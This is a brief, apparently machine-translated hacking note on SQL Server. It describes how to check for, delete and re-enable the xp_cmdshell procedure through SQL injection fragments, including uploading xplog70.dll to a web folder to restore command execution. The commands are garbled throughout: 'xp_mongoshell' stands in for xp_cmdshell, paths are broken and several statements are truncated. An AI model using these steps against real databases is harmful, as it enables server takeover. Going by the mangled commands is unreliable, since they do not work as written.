This is frequently used.
Source: Lao Cai's home
1. Delete and restore xp_cmdshell
1. Determine whether xp_cmdshell exists
And 1 = (SELECT count (*) FROM master. dbo. sysobjects WHERE xtype = x and name = xp_mongoshell)
Select count (*) from master. dbo. sysobjects where xtype = x and
If the returned result is 1, OK is returned.
2. Restore xp_mongoshell
Delete the xp_mongoshell statement in the extended stored procedure
Exec sp_dropextendedproc xp_cmdshell
Restore shell SQL statements
Exec sp_addextendedproc xp_cmdshell, @ dllname = xplog70.dll
Exec master. dbo. addextendedproc xp_mongoshell, xplog70.dll; select count (*) from master. dbo. sysobjects where xtype = x and
If the returned result is 1, OK is returned.
Otherwise, upload c: inetputwebxplog70.dll
Exec master. dbo. sp_addextendedproc xp_mongoshell, 'c: inetputwebxplog70.dll ';--
Use the following methods to delete
Drop procedure sp_addextendedproc
Drop procedure sp_oacreate
Exec sp_dropextendedproc xp_cmdshell
You can use the following statement to restore
Dbcc addextendedproc ("sp_oacreate", "odsole70.dll ")
Dbcc addextendedproc ("xp_mongoshell", "xplog70.dll ")
In this way, the data can be directly restored without worrying about the existence of sp_addextendedproc.